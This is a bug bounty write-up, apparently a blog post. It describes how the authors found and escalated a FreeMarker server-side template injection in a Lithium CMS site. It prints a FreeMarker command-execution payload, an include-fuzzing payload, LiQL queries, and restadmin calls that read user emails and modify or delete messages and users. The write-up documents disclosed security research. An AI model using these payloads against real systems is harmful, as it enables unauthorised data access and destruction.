we faced (w/ @celalerdik) an interesting ssti vulnerability on a bugcrowd’s program. we could show the traditional 49’ number when trying the ‘${7*7}’ command, also we could execute the `assign` directive reference like below.
<#assign attribute1="ssti">
<#assign attribute2="test">
${attribute1}${attribute2}
//prints sstitest
it clearly looked like freemarker template engine. but we have never been able to use ‘freemarker.template.utility’ package. so, the known freemarker ssti commands were not working for this case. (e.g., ‘${“freemarker.template.utility.Execute”?new()(“id”)}’ )
it looked like a very limited ssti, but we started to investigate other functions of freemarker template engine. we tried to execute the template include function and it worked. then, we fuzzed the .ftl files on the server using this command: ‘<#include “*/FUZZ.ftl”>’
then, search.ftl appeared on burp’s intruder. it included the following freemarker template engine codes:
<#assign pageSize = http.request.parameters.name.page_size?number />
<#assign term = encode.url(http.request.parameters.name.term) />
<#assign blurbLength = http.request.parameters.name.blurb_length?number />
<#assign resultMessages = rest("/search/messages?restapi.response_style=view&q=" + term).messages.message />
<#assign totalResults = resultMessages?size />
…
this rest function looked important and it required a little more focus. we got a stack trace error when trying to access local files with this.
we faced the lithium cms after finding something about the rest function on freemarker. lithium cms is supporting freemarker template but it is so limited. we changed our perspective to lithium cms’s freemaker capability from rce finding. 🙂
we could execute liql(lithium query language) query on the server using the following lines and fetched the last 5 messages on the website:
<#assign x= rest("2.0","/search?q=" + "SELECT subject FROM messages ORDER BY post_time DESC LIMIT 5"?url) />
<#list x.data.items as message >
${message.subject}
#list>
#ref: https://devdocportal.lithium.com/t5/Community-API-v2-Reference/bd-p/restv2docs
we fetched also users’ data using this method but actually, everything looked normal and anyone could already access the messages or users on the website. at this point, we were a little bored but restadmin function saved us.
we couldn’t fetch the users’ email data using rest but restadmin could fetch them.
we continued research to increase its impact and tried the following commands:
<#assign messagePostBody = {
"type": "message",
"id": "1000",
"subject": "hacked-message"
} />
<#assign resp = restadmin("2.0", "/messages/1000", "PUT", messagePostBody) />
- -
<#assign resp = restadmin("2.0", "/messages/1000", "DELETE") />
- -
<#assign messagePostBody = {
"type": "user",
"id": "1000",
"login": "hacked-user"
} />
<#assign resp = restadmin("2.0", "/users/1000", "PUT", messagePostBody) />
- -
<#assign resp = restadmin("2.0", "/users/1000", "DELETE") />
liql is just supporting select queries but put, post, and delete api requests could be sent with this method. so, we could delete, and change the users, messages, and all collections of the website.
after a while, it’s accepted and rewarded as p1.
stay safe!